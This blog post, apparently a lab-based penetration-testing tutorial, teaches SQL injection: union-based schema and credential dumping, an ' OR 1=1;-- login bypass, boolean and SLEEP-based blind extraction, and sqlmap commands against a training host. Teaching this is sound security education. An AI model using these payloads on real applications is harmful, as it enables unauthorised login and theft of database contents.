Logo
Warrior's Blog
Technology•Oct 6, 2026•3 min read•
Ceff
Ceff

Mastering SQL Injection: From Union-Based Extraction to Time-Based Blind Attacks

Mastering SQL Injection: From Union-Based Extraction to Time-Based Blind Attacks

Mastering SQL Injection: From Union-Based Extraction to Time-Based Blind Attacks

In our previous post, we explored IIS enumeration and privilege escalation. Today, we dive into the core mechanics of SQL Injection (SQLi). Whether you are dealing with applications that leak data directly or completely silent systems, understanding how to interact with a database through malformed input is essential for any penetration tester.

1. Union-Based SQLi (In-Band)

Union-based SQL injection occurs when an attacker can leverage the UNION operator to combine the results of the original application query with their own malicious query, making the data directly visible on the page.

  • Step 1: Finding Column Count Before writing a union query, you must match the exact number of columns returned by the original query.SQL

-- Try increasing the number until no error occurs
1 UNION SELECT 1,2,3

  • Step 2: Extracting Data via a Specific Column By setting the primary query's ID to 0 (so it returns an empty result), your injected data takes center stage:SQL

0 UNION SELECT 1,2, database()

  • Step 3: Dumping Schema and Credentials Using MySQL's information_schema, you can enumerate tables, columns, and extract sensitive rows:SQL

0 UNION SELECT 1,2, group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

2. Authentication Bypass

When applications fail to properly sanitize user inputs in login forms, attackers can manipulate the logical flow to authenticate without valid credentials.

  • The Vulnerable Query:SQL

select * from users where username='' and password='' LIMIT 1;

  • The Payload: Entering the following payload into the username field forces the condition to always evaluate to true while commenting out the password check:SQL

' OR 1=1;--

  • Resulting Query:SQL

select * from users where username='' OR 1=1;--' and password='anything' LIMIT 1;

  • The database treats the condition as true and grants access to the first user record found in the table.

3. Boolean-Based Blind SQLi

When an application doesn't return data or error messages—only a binary signal (like {"taken":true} or {"taken":false})—you must ask yes/no questions to extract data character by character.

  • Confirming the Injection:SQL

admin123' UNION SELECT 1,2,3 where database() like '%';--

  • Character-by-Character Enumeration: By appending wildcards (%), you can brute-force strings by monitoring the application's response:SQL

-- Test if the database starts with 's'
admin123' UNION SELECT 1,2,3 where database() like 's%';-- -- Narrowing down further admin123' UNION SELECT 1,2,3 where database() like 'sq%';--

  • While tedious manually, this forms the underlying logic of automated data extraction.

4. Time-Based Blind SQLi & Automation

When the application response is completely identical regardless of truth value, you rely on database-level delays (such as SLEEP()) to deduce information via the clock.

  • Checking for Time Delays:SQL

admin123' UNION SELECT SLEEP(5),2;--

  • If the page hangs for 5 seconds, the column count and injection point are confirmed.
  • Extracting Data via Timers:SQL

admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four';--

Automating with SQLmap

While manual testing teaches you the underlying mechanics, real-world engagements rely on automation tools like SQLmap to handle complex blind injections swiftly:

Bash

sqlmap -u "https://website.thm/article?id=1" --dbs
sqlmap -u "https://website.thm/article?id=1" --technique=T --current-db